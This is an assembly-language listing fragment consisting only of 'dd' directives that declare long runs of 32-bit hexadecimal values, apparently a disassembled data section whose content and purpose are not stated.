		dd 8EB3683Bh, 0E05896C8h, 5F60FCAh, 0B8E40B89h,	1D00F0C7h
		dd 0A2946122h, 8F16AF3Ah, 20978CDEh, 39C5543Ah,	6C860F9Bh
		dd 407D60D8h, 311729A9h, 2E169E76h, 8CD00C2Ah, 0F07F69DDh
		dd 0B3810016h, 44AF1C39h, 0F0BE9322h, 0F23ADD00h, 3010FEEEh
		dd 6511A83Fh, 0A603B41Dh, 28D9AB3Eh, 40BAB017h,	855D009Bh
		dd 7CB155DBh, 50B0F12Ch, 8C7F0A2Ah, 35063FDh, 16CC53BCh
		dd 841102AAh, 0B97B3846h, 6D6A7020h, 0EF7C0010h, 0CD4A025Eh
		dd 0DB005494h, 17E4BCEAh, 0B2F90BDEh, 6C423Ch, 49581E89h
		dd 1D328C84h, 623065h, 5BDFA59Bh, 43047F63h, 0AC716738h
		dd 0B0430C0h, 0CB44008Dh, 0E754CA0Ch, 0E000D650h, 99A338ECh
		dd 0FC5DBD2Ch, 53242E39h, 4AB80371h, 6898EA1Dh,	860063B2h
		dd 6E282B87h, 703AA5DCh, 47A10070h, 5261821Fh, 2500ACF8h
		dd 21641931h, 38E43D43h, 0D8008158h, 106A1A7Bh,	83007434h
		dd 1F1C18D4h, 7C6CC2AEh, 0A032B09Ah, 0A8B2F6h, 0DAC47AFDh
		dd 0BCA64F80h, 0EB93C300h, 0CE85E613h, 0EC347BF4h, 0B50C0006h
		dd 749A0151h, 7BF4B44Eh, 0ACA52900h, 1D2825ADh,	0C11C00AFh
		dd 622B509Fh, 3500C979h, 0DFA74841h, 0B875A66Bh, 0C169026Bh
		dd 5D9D3425h, 0C543E080h, 4000BFFh, 58CFBD02h, 0D95C7h
		dd 0D6A4191Eh, 1FEB8D41h, 1ADABA00h, 43203136h,	2F753868h
		dd 3B380077h, 298386ACh, 9400C3BDh, 8C7AB866h, 14CDC9h
		dd 0CF5F6C58h, 64128834h, 7FC76F00h, 241B9D8Ah,	7E70C057h
		dd 22049895h, 1D5E4900h, 0B63D5379h, 4ACF284h, 0C1E0A0D4h
		dd 556C82B0h, 18B290CBh, 2C76A10h, 4FDB9B96h, 1C6992FFh
		dd 73DC72DFh, 1863D624h, 0AF021600h, 0DDC7ECh, 0DA97DE2Ah
		dd 564BDB7Ah, 0A70079F2h, 30A4E280h, 704CCF2h, 15208791h
		dd 0A550F3EBh, 0EFBF1800h, 839FE0F8h, 88B049h, 0A922472Eh
		dd 1AB5F997h, 14123771h, 14006AE9h, 8436E877h, 0BC8A284Dh
		dd 3EE000F2h, 0B6D44AECh, 510280BDh, 2D2A8887h,	9694489Dh
		dd 0C05D121Fh, 5293004Ch, 7286207Ah, 0C86F8101h, 0F9A7B712h
		dd 13158C4h, 3D55D4B3h,	60F04C40h, 1B01CFBFh, 69E6D343h
		dd 16C8666Ch, 0BFE7001Ch, 9B3691AEh, 0A91C0C26h, 34C0CC8Eh
		dd 0C4688378h, 91881361h, 0CF9C00AAh, 3D054A19h, 570020E4h
		dd 9AA5393Bh, 125A4277h, 5E26ACh, 0B9E19020h, 9802FF86h
		dd 0FC7B99B4h, 58E8583Fh, 48A054D4h, 0FC2CBA74h, 3B81B439h
		dd 6963E484h, 3F6F5870h, 7D01A69Bh, 53E3891Ah, 81E42CBFh
		dd 0B2B69C2Bh, 2507F7C8h, 7C0144E0h, 0F41AE3E8h, 1B000608h
		dd 4EDADDF9h, 5052E0A9h, 4B4A881h, 8FB3A298h, 7CFCFBh
		dd 0FA6C5995h, 39057E43h, 81800FDBh, 88D1B5EDh,	0B7005E2Fh
		dd 0CDE35CC6h, 0D534E1h, 0C4B41A44h, 0D930EF9Fh, 60395930h
		dd 54A2F08Eh, 1C88DCB1h, 31D3E372h, 3F2D1CE1h, 4B6E08F0h
		dd 0F7867F3h, 1F102C60h, 53014DD6h, 8C83526Bh, 3C60F2F3h
		dd 6356449Ch, 2BA140C0h, 70E6D5Bh, 15407A66h, 2C9DC3B9h
		dd 0ADF46102h, 0A09A3A38h, 916A1FB8h, 54B2B9h, 6D7B274Fh
		dd 0B51C25A6h, 4B57293Eh, 82D10009h, 0EA1B5B64h, 83A8C50Ch
		dd 0EEE06B2Fh, 352DE4B0h, 0A62A321Ah, 11DC00A8h, 2C6BA099h
		dd 3DECD149h, 44041CA5h, 0BB28E002h, 7E020CBBh,	48C26E6Dh
		dd 0E671AFFCh, 52222459h, 63F70084h, 2C758583h,	6113Bh
		dd 3CE9E108h, 54F8D42h,	0B6FAFE68h, 83903098h, 583E3139h
		dd 0A7B8D0CFh, 0BE989100h, 0EEEAC4D1h, 62D8A1FFh, 71C0A0E6h
		dd 6D32B4h, 0B15C25AAh,	8A372D21h, 0F99AB030h, 2EB2CC4h
		dd 75AA6B22h, 64E84260h, 0D584CEEh, 0FE907F0h, 69B59C41h
		dd 0C4A5A440h, 3D18B7AEh, 0F427B6A1h, 0B8992033h, 14C02003h
		dd 32770800h, 85B9BF69h
		dd 0AE2C1FF6h, 389C00E7h, 48809564h, 47C13Bh, 35725BDBh
		dd 0F654FC0Eh, 667407C5h, 9055324Ch, 60A55A05h,	931CA1ECh
		dd 0A00033FBh, 0E9BCEE8Bh, 112360DDh, 0D6BA0705h, 0E31D5D7Ah
		dd 1C4E0EFDh, 2C50808Dh, 18EE5B4h, 0A74780AAh, 2890E7F2h
		dd 0C7BE0038h, 79FF5C5Fh, 821B009Eh, 0FA14F629h, 0D07E2C49h
		dd 452ED745h, 90EBF244h, 800D45E0h, 31C8D717h, 0BA537402h
		dd 0ADB0A073h, 0ABA4FDh, 5946BF9Ch, 80AC3AF0h, 12298100h
		dd 100A4E47h, 25530386h, 5BDC8246h, 1ED7BDBh, 6E44E69Bh
		dd 0BF6FC88Bh, 0F0F5FD00h, 2E214382h, 8A3D007Ah, 909FE728h
		dd 75000D17h, 1F245D6Dh, 0B63F69Ch, 47D0A4C1h, 0E9E31CA0h
		dd 0FC002E19h, 0CFB4145h, 0E2EA4Eh, 3F6A845Eh, 2F54DD5Ah
		dd 53ECB201h, 0E37545F8h, 0BF8021BFh, 5F732909h, 42586225h
		dd 52E500D0h, 16E692CCh, 0F40B14FBh, 0B300F807h, 14B0A7B9h
		dd 9B0EDAC2h, 2FF5A40Ah, 2EBBA035h, 0F02346h, 0D606210Bh
		dd 0BCF8269Ah, 0FBC1C4A0h, 0E54580B6h, 0A02E1E87h, 0F029860Dh
		dd 0B1A31C6Fh, 6BC284E7h, 22CFCD5h, 699B7E4Bh, 946120D4h
		dd 4400F29Dh, 0EDAA7CBDh, 3879225h, 0EAEBF172h,	0A8D89333h
		dd 50F0592Bh, 417C6400h, 221D862Fh, 0A2A900F0h,	76485F05h
		dd 0A001257h, 0DCC9AE14h, 4FE13D33h, 0F730C0E7h, 93581A2Eh
		dd 26AA00C8h, 0ACAB680Eh, 0B1BE00DEh, 3849918Dh, 0E9125FEAh
		dd 0E440A458h, 7D5C4166h, 0C0D54AE2h, 1461246Ch, 0C9E9200h
		dd 0C48BF002h, 717C06h,	6B352F7Bh, 0A2856682h, 64A02090h
		dd 7C00FA53h, 65168BA4h, 3DF95DBh, 4A90605Ch, 43A8700Dh
		dd 3109A2A7h, 3C209F2h,	0C5E30EA5h, 0F75040C0h,	188A00D0h
		dd 0C10D5D4Ch, 1E140F9Eh, 0FCA390Eh, 0D280B668h, 992E7C80h
		dd 0B2A6009Eh, 9F54779Dh, 0D1F06F62h, 8AF7C612h, 26A2EC80h
		dd 109A17h, 0DE9CFE56h,	84D0EBFAh, 80CE5739h, 0FF89CB90h
		dd 0EEFC374Dh, 5A9402DEh, 0E9089BD9h, 76607C60h, 0A7E31800h
		dd 4CA61A21h, 0BF28009Ch, 1B65E583h, 6D5C7C1Ch,	3BE90070h
		dd 6F2631A3h, 0F17901CCh, 2834C401h, 13EC4115h,	42F4CCF6h
		dd 4C314600h, 0D2ABDB72h, 45350056h, 377F977Bh,	0E73BFDEAh
		dd 0C3A8803Fh, 19D0C989h, 81710014h, 0E6A69CD8h, 0E000BEC7h
		dd 0C53DC1C8h, 84CF21h,	92BB8D25h, 99590A14h, 8EF7E8C0h
		dd 9D969A07h, 0A2AB4021h, 4C2AEC84h, 2276C40Ah,	781CA85Dh
		dd 35BF8039h, 640704F1h, 0B1A90002h, 0BEFF43Fh,	0B7006879h
		dd 0C216A3B3h, 9551E5Ch, 645D1B95h, 8EAFCCC0h, 66530100h
		dd 0D8EBECE7h, 48E10541h, 0A8815194h, 0C9C1C040h, 0EEF3DAE9h
		dd 0EC5A3A3Dh, 26D8C3A6h, 0C0BE8010h, 2D40E9B6h, 28237C0Fh
		dd 89FFE236h, 17D87860h, 0EBC0614h, 7E002059h, 4BD6E38Ch
		dd 9D007C98h, 2DBDBFABh, 38A60CF8h, 2F9A598h, 610A072Fh
		dd 660B382h, 0C600835Bh, 9E8D7747h, 51219Fh, 0A56E36C2h
		dd 53079597h, 3149E700h, 8F17AA2Ch, 12581622h, 0C02822B5h
		dd 0C7522120h, 71373FDh, 0F9F7F6ECh, 0AA07EF66h, 0D140CFC1h
		dd 0D6334451h, 7B6D9905h, 0BC4476B0h, 0A6C073BCh, 1D3084F9h
		dd 40758823h, 1BE7E38Dh, 8C504D26h, 6A00C6DCh, 0A11A40E6h
		dd 4A092F79h, 0E5788810h, 0F8057E73h, 403D7408h, 5D30BC00h
		dd 13E4F66h, 65441A94h,	60146A80h, 0F60A7928h, 0AC383A3Ch
		dd 0C00DAA0h, 0E1278A9Ch, 0E49AB1h, 0EBCFAFEEh,	0E37C2298h
		dd 20038414h, 503702B8h, 4E9EB2h, 0E5778245h, 33400509h
		dd 0E724A03Eh, 7322F67h, 8B6AAA39h, 1D28E0E1h, 0D500BF1Ch
		dd 9F9C746h, 55CF1Ah, 0FFDD5FCCh, 490E1F0Bh, 4AB8F754h
		dd 522A9000h, 4B53D680h, 2B6D005Ah, 571CB114h, 6B012067h
		dd 6573C3B9h, 68CD4E06h, 616AC4h, 0A33E83FDh, 4A71D154h
		dd 78DA5503h, 0A3D025F4h, 1F9D08Fh, 593D0036h, 24A468C1h
		dd 2C28B41Bh, 8A00FE83h, 45542105h, 0CC48DEh, 50B51442h
		dd 5ACA0E39h, 814C714Ch, 0FFFC5608h, 0E0EA5FC8h, 4AD3007Ah
		dd 7542672Dh, 103C9F0h,	100CCF95h, 3B97A89Bh, 53E600F4h
		dd 8C5F1B79h, 65009364h, 38F27F5h, 0F2A24751h, 0BAEAE3h
		dd 0F345FAFDh, 549CC1DEh, 656D8807h, 0C6E3556Bh, 4C29A083h
		dd 37F80350h, 0A9E85228h, 6A845CC9h, 587AD400h,	3C8E74h
		dd 559D3BFBh, 1713BECAh, 0AA895000h, 16D4C9E2h,	0F80005Ah
		dd 4CFC8E2Dh, 7025BC71h, 2CCC1Dh, 74840572h, 510ED3F3h
		dd 69B4DD00h, 0F6DB7A7Dh, 9DB544h, 7C2DAFE4h, 477204BCh
		dd 0F0D3E43Dh, 8055CBDBh, 90A5706h, 6C3E0E4Dh, 3380CC8Fh
		dd 15CA1324h, 0CB9E7D07h, 6510662Ch, 0E0F2B625h, 0EB8BA33h
		dd 8675A2D1h, 8884259Ch, 0ADF8885Dh, 2A0C712h, 0A52D7CC0h
		dd 0A8605DA9h, 0B9EEAE03h, 76D01D19h, 3745268h,	414A4E06h
		dd 0A0F1F0h, 16391F2Fh,	4C0A0E2h, 0B4804B5Ah, 16233F8Eh
		dd 0C68150h, 14403C84h,	0DF001845h, 4C1E2133h, 61526F56h
		dd 84AC20C1h, 864AE4D6h, 6C052A98h, 2D7FE6C3h, 4DE2EC02h
		dd 0C84460BDh, 0FFE1C0E7h, 981B049h, 0A3002EE0h, 334EF88Bh
		dd 25C4922Ch, 0CC857504h, 0ABB03398h, 6FAD6003h, 0E917AEB2h
		dd 0AC2C0538h, 7DE41B00h, 0EDC8C0EFh, 82F9EE00h, 0CA2A0901h
		dd 0A58C0ACDh, 8C9B94h,	2CBC168Ah, 10CE9FABh, 0F675E0C3h
		dd 1FF1ECDDh, 0C2BE4147h, 17B94573h, 0D844BC40h, 0BC546039h
		dd 3B980762h, 0B010DB6Ah, 0C1EF30h, 78938C04h, 8A7B4CB4h
		dd 91635D00h, 239C456Dh, 85B80CF4h, 6748883Ch, 0E8F94300h
		dd 0E9781B34h, 1ABA005Ah, 0A3423824h, 590E5D2Dh, 0E09810D7h
		dd 0AB3BFA09h, 0ADB5006Ah, 493E111Dh, 78006C5Eh, 9C3CC7D1h
		dd 1448E00Ch, 98B61439h, 1901BD39h, 42107EA0h, 0CFF33079h
		dd 135988E4h, 0F56F038Ch, 0B81D1CABh, 7B0AC01h,	0E02583Ch
		dd 0A8000B65h, 0F1E85E31h, 71495100h, 25ECA8D8h, 0AEFB0036h
		dd 2F77E947h, 0F1390ABEh, 802C3FA7h, 0B8DED57Bh, 4827EDFBh
		dd 24724EA4h, 9F84162Fh, 55C08289h, 1C542244h, 0FFA988h
		dd 0E9683F5h, 9202C059h, 71C3B20Ch, 0AD2C409Eh,	6A3000AEh
		dd 0D2DB485Bh, 0E300DCA6h, 97017FBCh, 502D04h, 3D93F93Ch
		dd 0C0BF1721h, 0D3818F00h, 756332C1h, 90090BB8h, 0E082DC53h
		dd 2C4997B2h, 0EDB4508Bh, 5C92322Ch, 0CEEC9095h, 33C83967h
		dd 0A1319881h, 0CC3D14A3h, 0DCF9E3F2h, 20FB85F6h, 241D023Ch
		dd 0AAC06CD4h, 0BCA437AFh, 0CC140030h, 50FAC0B1h, 5F3A26D3h
		dd 8E9E38F5h, 0F3126CE2h, 2FCE8400h, 0FEFA865Eh, 7724908Dh
		dd 837047h, 9BFB1775h, 4AA7A953h, 0A1C6AE04h, 0ACC03E05h
		dd 0D5A42Bh, 350B77F9h,	0DBAC6B66h, 9FBDC500h, 50010DCBh
		dd 6D0700DAh, 48F9DDABh, 0F200C718h, 778E3570h,	26B3A245h
		dd 304386h, 23F78D4Bh, 0A5011A1Ch, 0ED8F40D7h, 406B1625h
		dd 77C47530h, 72009233h, 0EB7BFAD9h, 7896CDC1h,	0E17BD7h
		dd 0D19B7FD4h, 0FE8C9814h, 2890514Ch, 0AF0FFF01h, 0B3B1896Fh
		dd 2764C45h, 610014B8h,	0D9638674h, 92789647h, 1097ACB0h
		dd 2F6617B4h, 0C880DD5Ch, 6DD7433Bh, 880F7302h,	0DC7F7E15h
		dd 0FEA94004h, 0BB00DF67h, 0F1C98B7Bh, 0CBEC16h, 8D1C8189h
		dd 0A2E3FB51h, 5E84E0FDh, 0D592C204h, 4880607Fh, 0EC152CB9h
		dd 0BBB00BC6h, 68E1B317h, 1C5822A3h, 6580C156h,	683202CDh
		dd 677593h, 0EB3D64B8h
		dd 0B00B0517h, 0A4349F26h, 7F687900h, 9022FC09h, 0D8A90264h
		dd 66F3B3E9h, 0F9E84440h, 0B45EFB03h, 0B8A1F231h, 96E93D0Ch
		dd 6209047Ch, 6F3CA0BDh, 0AF3E6A13h, 7CBC94C5h,	0CFCB4200h
		dd 66C21E83h, 0A8E46D00h, 8ACE809Bh, 0C39A1CB3h, 755C8Dh
		dd 7436A3B5h, 80017F98h, 773F27D5h, 0ABD540C9h,	814E0h
		dd 47372D7Dh, 2B845D26h, 3B74AC90h, 17073500h, 0E95128B2h
		dd 81E1002Dh, 715BA824h, 600592CEh, 3FBD8BF0h, 5724CCA9h
		dd 0D8D43DECh, 6F610127h, 543631Ah, 83B940D9h, 3500FB2Ch
		dd 621199Bh, 48A49801h,	30008C7Ah, 0FFB41F22h, 6700D015h
		dd 7B6F6C4Ch, 5799A4Fh,	0AA9D02A5h, 0FA0002Fh, 0E8B8BE74h
		dd 1517E500h, 5060D188h, 7CFF8157h, 9A9F8440h, 0F112B4B8h
		dd 22080787h, 0C8729F71h, 1205D3C8h, 0B1877721h, 0A834F8B1h
		dd 910405CDh, 0AC626498h, 3E30238h, 411C72F4h, 642CDB75h
		dd 0B09BC216h, 0F300B678h, 0BA21677h, 0B1CDF1h,	35A315AEh
		dd 81E590CAh, 0EA272C0Fh, 74D601D5h, 8F30392Dh,	805F75h
		dd 7A7FB5CCh, 690B76C1h, 824828h, 0B80C46AFh, 4C99008Ch
		dd 3D37B71Eh, 131E2843h, 0D40A2AAh, 70864D3Ch, 0FA720183h
		dd 0BC2F3296h, 0F9108174h, 0B89804CCh, 48580C3Ah, 267D0F1Eh
		dd 9900F2E4h, 0BFC0E43Bh, 8E86D6h, 2A2F80E2h, 2DA99061h
		dd 0FF0F2303h, 3C3B70FDh, 18049FB8h, 90A74D29h,	1997D094h
		dd 61DA5B00h, 6F2FE4C9h, 69370020h, 51CD3291h, 0FE008A85h
		dd 22352E68h, 9748345h,	342902E4h, 0E33FC4F2h, 8011E067h
		dd 5E575h, 0A720472Ch, 0BAFF736Ah, 0E660FD02h, 0E9B092D7h
		dd 5BC43690h, 65B804CBh, 0E099F513h, 75013CC8h,	223DF9BBh
		dd 18528ED8h, 0D98043Ah, 71CC38DAh, 5AD600B0h, 0BCB30B28h
		dd 3400A7D4h, 75EC58EFh, 0E22F667h, 6C8BC052h, 3C49E260h
		dd 0CD3ABB65h, 845B2AB0h, 5EF51006h, 0C805691h,	0BCA6BB55h
		dd 1B00B479h, 0D86D1FC0h, 0C632842h, 0AF4EF6D6h, 4549B021h
		dd 88C43060h, 0E88AD867h, 0FCD60661h, 2144F2D2h, 499CC00Dh
		dd 0DCC0E032h, 61AB122Fh, 70CE00CBh, 47E28A76h,	7F000B71h
		dd 9C40B142h, 1D9FD460h, 83DD0Eh, 16508ADEh, 0B5006421h
		dd 0A67E4FDAh, 0E0BE24h, 7A56DF8Ch, 9221D99Bh, 0CC0E65E8h
		dd 80119805h, 0D6775570h, 7A5F0FC2h, 86E0BB8Dh,	7D479AEFh
		dd 8774BF03h, 9051B8ADh, 157FDCD8h, 905D3977h, 0BEA74F01h
		dd 0C8D55214h, 505C9D8h, 0E95D0134h, 7FCC83h, 0DEA5729h
		dd 3E075F18h, 0ECAF4D03h, 0B6DB5C62h, 0DC041521h, 0E20E885Eh
		dd 0A3216967h, 0C34718CDh, 30BB22F9h, 3577ED1Fh, 3C565D00h
		dd 6A57C9Ah, 70D8002Eh,	4C07255Bh, 9E00CCBAh, 6F8FC3D2h
		dd 7329B81h, 0A1AB21C0h, 5FDDA3C1h, 43096907h, 1C409DC2h
		dd 468139h, 5F9277C5h, 36556322h, 0DBC14062h, 0F87AE334h
		dd 1F6C3C14h, 1DDFCFA6h, 3998477Dh, 0A77EC002h,	16002E30h
		dd 2FB9F1DEh, 0F450F60Ch, 34819DC0h, 0B052DB5Fh, 5AF410F1h
		dd 24DC006Ah, 39251C0Bh, 0EF033575h, 19E9F9AFh,	577BE83Fh
		dd 285B605Dh, 172F2A70h, 63A37500h, 2D0B4A53h, 9F600ECh
		dd 7673DC6Eh, 75034336h, 0FCF8923Fh, 47D1A0EDh,	26FAB7h
		dd 698E85FDh, 586FFF42h, 32BA943Ah, 80D60840h, 682901F1h
		dd 58564C21h, 1E5E0072h, 0C3DD93EFh, 5C00FDD0h,	0F3599CEEh
		dd 1F46D194h, 0D8112F13h, 2A7B116Ch, 0F1D0A21Fh, 5E01CF52h
		dd 9772566Dh, 4F20909Ch, 1C403A34h, 1A84DC86h, 0C0C3E100h
		dd 0BF69CB01h, 0C8856012h, 0B5ECE05Bh, 1FAED900h, 0CFF98F8Bh
		dd 2A65E2BEh, 7C887DB4h, 5EA40097h, 53EAB55Fh, 0B83F2A4Eh
		dd 0F8F10D39h, 84D848D7h, 0F28F01B1h, 661CF340h, 0E1162030h
		dd 4421E960h, 47EB36h, 9D3C2655h, 6693AC39h, 0F4ADA120h
		dd 83753171h, 0DF537B99h, 0CBDA8115h, 8F3C7DBCh, 467E00AFh
		dd 0A0A98450h, 9E7D02DDh, 0FFB9485Ch, 6BF33060h, 0A9DB7728h
		dd 402CB01h, 71CA3454h,	809251BCh, 0C0121CB1h, 66BE7317h
		dd 0FF00FE11h, 0BCC6E8A1h, 30EF5D7Bh, 2679F1DBh, 990120D7h
		dd 1FE74CADh, 87C80AABh, 0FD2C0001h, 5236F007h,	0B2E87BD3h
		dd 17F9A800h, 0D0DC72F2h, 5506015Ah, 8DF8635h, 71C04160h
		dd 0AEB04C6Fh, 0E7B58101h, 1FAD5386h, 7980D7FDh, 0DF50375Bh
		dd 0EC70405Dh, 443B1D24h, 56A5508h, 47EDE109h, 0A02434B0h
		dd 0A321E79Ah, 89484D3Fh, 0E29C8B4h, 0E9CA2457h, 0B59D8490h
		dd 0A3E60113h, 58F3F68Bh, 0EF71D422h, 657E4105h, 9809A1F5h
		dd 0DD180021h, 66C4F1h,	0A3A08FB0h, 9B7F259Ah, 6800F6F6h
		dd 8574100Bh, 0C0A811DEh, 9A210C08h, 820E4ABEh,	8F43C730h
		dd 4CFC2025h, 7C7D79ADh, 378B3E9Dh, 33946401h, 0F18C324Fh
		dd 52D1E0E9h, 10C020E8h, 0F1E4979Ch, 7AD00DBh, 0DF9FD958h
		dd 210F8161h, 204D4393h, 9A833CBEh, 4F313992h, 9D4C0078h
		dd 0EE378E34h, 0D3E59E30h, 9F323007h, 85C779DAh, 0A06DBE43h
		dd 0E44B8825h, 4D9514AAh, 49164C1h, 0CA0CBEEBh,	19109508h
		dd 4C198060h, 0F9CB8Fh,	0A9B4F2DCh, 0F655B76Fh,	5F00FFFCh
		dd 0DE718377h, 301DA53h, 0AE84965Eh, 590061C9h,	7819CD88h
		dd 33BE40F6h, 4609E15Dh, 54682100h, 0C4703A19h,	0DDA70705h
		dd 0A0AB7E17h, 0AA24C8F2h, 2D4E7600h, 32F0EF84h, 6126B8F9h
		dd 92F57802h, 19498C7Fh, 0E4D6B1F7h, 0C2F300C4h, 74E4B14Fh
		dd 4E006461h, 713DBDEEh, 31992B9h, 10DD6034h, 3915142Dh
		dd 84EB1Eh, 0A2677068h,	3E6F344h, 519B381Ch, 9003BF72h
		dd 9EDDF585h, 0F0386484h, 19CA60C3h, 0B8F62379h, 21007011h
		dd 5BAA1955h, 60CAE6Fh,	79E81F63h, 0E017377Eh, 5F018E59h
		dd 829071EAh, 501E5F8h,	1C940119h, 80D9C93Ah, 0EC67BE39h
		dd 14D6BCAh, 9D7381D4h,	80F28229h, 0EC6FB021h, 28966B5Bh
		dd 0D4D9E9h, 4BFE2C1Dh,	1B1254A8h, 0F1020092h, 0AAC52732h
		dd 9290859Ch, 212D944Ch, 27380098h, 1F9C5BDh, 90C60957h
		dd 7215E0Bh, 0A16D9B61h, 0A2EDA040h, 0FC08743Dh, 32AD79A7h
		dd 930B770h, 0AAC40827h, 24646144h, 27335340h, 74034EF5h
		dd 97B7488Dh, 0AA34C7D4h, 79F91100h, 88C02BB2h,	358DDD1Dh
		dd 0C85F52F8h, 8CADD040h, 5F19C804h, 7B62A8F6h,	19536B20h
		dd 8C7438B2h, 1ED93003h, 0E9221213h, 56C8C837h,	0BB2708C0h
		dd 9C6C56AAh, 52012E22h, 9FAE270Eh, 57DD8A76h, 66BC2105h
		dd 0D8298012h, 22A286F7h, 1E8000AAh, 572C1A4Dh,	0C03C3A5h
		dd 0BC990F0h, 3F20018Eh, 2C134BBEh, 207DD577h, 51129C14h
		dd 5445FB56h, 80011492h, 4749AD25h, 2F5EC0h, 76EF536Ah
		dd 654DF383h, 89C09D7Bh, 1215C794h, 34224887h, 66C03D88h
		dd 466BC9ECh, 10041035h, 0EC6EE700h, 0BFBB193Eh, 0DBDA4E09h
		dd 14681003h, 9D1C3AB4h, 0D9020470h, 9C201286h,	8A032720h
		dd 59141B0Fh, 0E626DB7Eh, 0EBF401D8h, 568DE3Eh,	655180E8h
		dd 7D32DCC4h, 743812A5h, 0E384C06h, 0AD004421h,	124DBCDCh
		dd 1FEAF758h, 8CF9D97Eh, 937803CFh, 283CAB48h, 0B846E8D1h
		dd 0C1273602h, 25313CAAh, 27E05C13h, 5800FB6Fh,	8F91BCDAh
		dd 0AC45A0Eh, 570701E3h, 603F44A0h, 28AFEC64h, 849C656Bh
		dd 21ED60A0h, 19EC6C99h, 44B62800h, 418E7125h, 7ED89094h
		dd 31200C63h, 3FE1E952h, 88AC6EE8h, 34DCAE04h, 0D62957Dh
		dd 0DCB74220h, 285300C6h
		dd 57DAD287h, 2C90C2EDh, 60241C09h, 11089DBDh, 0F95F8139h
		dd 10F4F309h, 128B1E5h,	75866B29h, 4AC080D7h, 0E3CD7A5Ah
		dd 24572AF1h, 5D1109C0h, 5806D10Eh, 0D41EB0E8h,	0F8A6767Ah
		dd 7B606182h, 84304A03h, 305378FCh, 0F8B40850h,	4AEA1C00h
		dd 9872DA44h, 80E5139Ch, 23383AC2h, 0B9640039h,	94ADF1F5h
		dd 17AC6804h, 0D889280Fh, 63824C41h, 6408B822h,	0F5062289h
		dd 3A113DEh, 63AE1510h,	3907FB16h, 8AA3DDB4h, 0D8030FA3h
		dd 70BC3669h, 10760323h, 281625D1h, 5D98900h, 46CDF65Bh
		dd 7A381CEBh, 41311C4Fh, 0CAAECC06h, 47698064h,	4AE48948h
		dd 14E10787h, 0B1F0DA9Ah, 426A5998h, 0A335580h,	34AAC6E0h
		dd 3CC8E8h, 0BE273D51h,	0B200583Eh, 1FBAAB79h, 39613123h
		dd 1C4CF3F2h, 0AED8F50Ch, 7E7C6381h, 6B796092h,	0F8A192ECh
		dd 0F5AC30E7h, 9728F877h, 0AE03F83Bh, 7AFB3361h, 0CA71133Ah
		dd 0AA104E86h, 0A41BF220h, 0C100973Eh, 0D816AC8h, 3DE992CFh
		dd 4C035434h, 0A9766359h, 227E6099h, 2F505ACh, 0B4409F19h
		dd 0DF7367F9h, 791B7BC2h, 66A30F13h, 0AA26AE35h, 0DE2CCA74h
		dd 639C84D7h, 1B0060E8h, 0B160C995h, 28FCAA27h,	60542B6Bh
		dd 629FF177h, 0D61E4046h, 2D0F2E28h, 6030928Eh,	244E7AC0h
		dd 2810ADA1h, 0F50C0C20h, 1041ABDFh, 0E0B1457Dh, 86100478h
		dd 0E0A9E70Eh, 0DB48E1F8h, 0F180FE18h, 0D8321562h, 980FC0C3h
		dd 0AB6A4EE0h, 1D842BC1h, 807B11C8h, 0BBAC4ABCh, 0B891CAh
		dd 3143A063h, 4071DCA5h, 261D5D1Fh, 0A02960DCh,	98932A03h
		dd 38E023ACh, 0CCEC7903h, 70D9466Bh, 0EC619E00h, 741A8AC5h
		dd 0CCC9192Ah, 540BE844h, 9FC429h, 4A4D1A6Ch, 0CFB5A6BAh
		dd 0F10A53EAh, 0E8DBA996h, 4F1F3301h, 9C7472C1h, 0AC3022Fh
		dd 0D56DF511h, 0C313D485h, 0BA045984h, 0ABF2795Eh, 45735090h
		dd 0B96164D4h, 37748295h, 0B564820h, 5B89C02Ah,	0E6CEEB9Ah
		dd 1D3D8A3Fh, 74C04E67h, 0F51480D4h, 1C40F194h,	6FB49325h
		dd 39601160h, 688073CAh, 30041409h, 248C2425h, 766018C0h
		dd 57926C7h, 0ECE94038h, 0D50080C0h, 0FB9E7A37h, 62E710E3h
		dd 0E91E210Ch, 488994A0h, 4C03DB0Eh, 81768272h,	0B467F812h
		dd 1D570091h, 0AF69295Ch, 28F7A1C2h, 0E091CF3Ch, 0EBB5046Ch
		dd 196862FBh, 0E44832DEh, 0F0F66309h, 0AECB19C1h, 0A02483C5h
		dd 0D4EB527Dh, 0C7B86884h, 379340F9h, 0F83F421Fh, 8F313D54h
		dd 0E007996Eh, 4D90B86Bh, 0E0E37CFCh, 54D1C0FAh, 0A7401741h
		dd 790010B0h, 384D1861h, 97FBBFAh, 32F431ABh, 10718491h
		dd 0F5036Bh, 0E24DEA56h, 0F39FDD45h, 8995A501h,	0BE8BA6Eh
		dd 0E048A0C0h, 7FAD2457h, 54803910h, 6331412Ch,	64A3FA79h
		dd 871F40D4h, 93ADBDh, 39F2D401h, 94EFCB51h, 26FCD601h
		dd 8DD16E97h, 0CC4C1C36h, 0C1006123h, 9D7D33DCh, 9444863Dh
		dd 0DCAA0045h, 167B0507h, 0A8910463h, 24BB3F80h, 98D98671h
		dd 0EA5E51A5h, 14B40Ch,	52E1F11Eh, 6A03B09h, 0C231AF09h
		dd 0E44C653Dh, 0A3576049h, 0CF8C01F7h, 814E796Dh, 31944065h
		dd 1B2469F9h, 0E3039410h, 2685C3DEh, 74685991h,	10A0A46h
		dd 2F7B357h, 0D98ECA5Ah, 0F6C518E0h, 32A8E180h,	21E93DBEh
		dd 12DB8C82h, 0AE302600h, 9B9000F1h, 0AC93E16Eh, 68911D48h
		dd 7955EF00h, 3F863247h, 29808C18h, 2F6CAB64h, 73126D4Ah
		dd 48003711h, 0F44DE47Fh, 0F8575A02h, 149D2C44h, 1D383203h
		dd 8AB10127h, 39656367h, 0A9AC42A0h, 0FE19CC30h, 0C2C825F6h
		dd 6F00F894h, 0C76C19B7h, 4EEBCD71h, 0A7544018h, 5E53A67Eh
		dd 1F8ACE00h, 9C8E2EE1h, 91D50254h, 9328CD16h, 5250840Bh
		dd 0AF27C067h, 61434CAAh, 9E003B22h, 1D83273Ah,	1143FB9h
		dd 0AA5574A1h, 71563D63h, 8729DA54h, 39DDF4A8h,	61AC42E2h
		dd 783038A8h, 89F885Dh,	524CC7F8h, 220A1B50h, 87E8B119h
		dd 1E4DBBFCh, 805F805Eh, 427E485Ch, 0B4900E50h,	7B053890h
		dd 3DDD7D35h, 0ACC0489Bh, 10D49218h, 1E82E120h,	927786A8h
		dd 9650097Bh, 186FC039h, 80DC64BBh, 228CA38Dh, 0AC4300EFh
		dd 0E9763EDCh, 2C2490DBh, 7D03BC22h, 287C426Eh,	4AB01C60h
		dd 23282FBDh, 7EAF0326h, 5DE390F9h, 171EF2D0h, 973F4725h
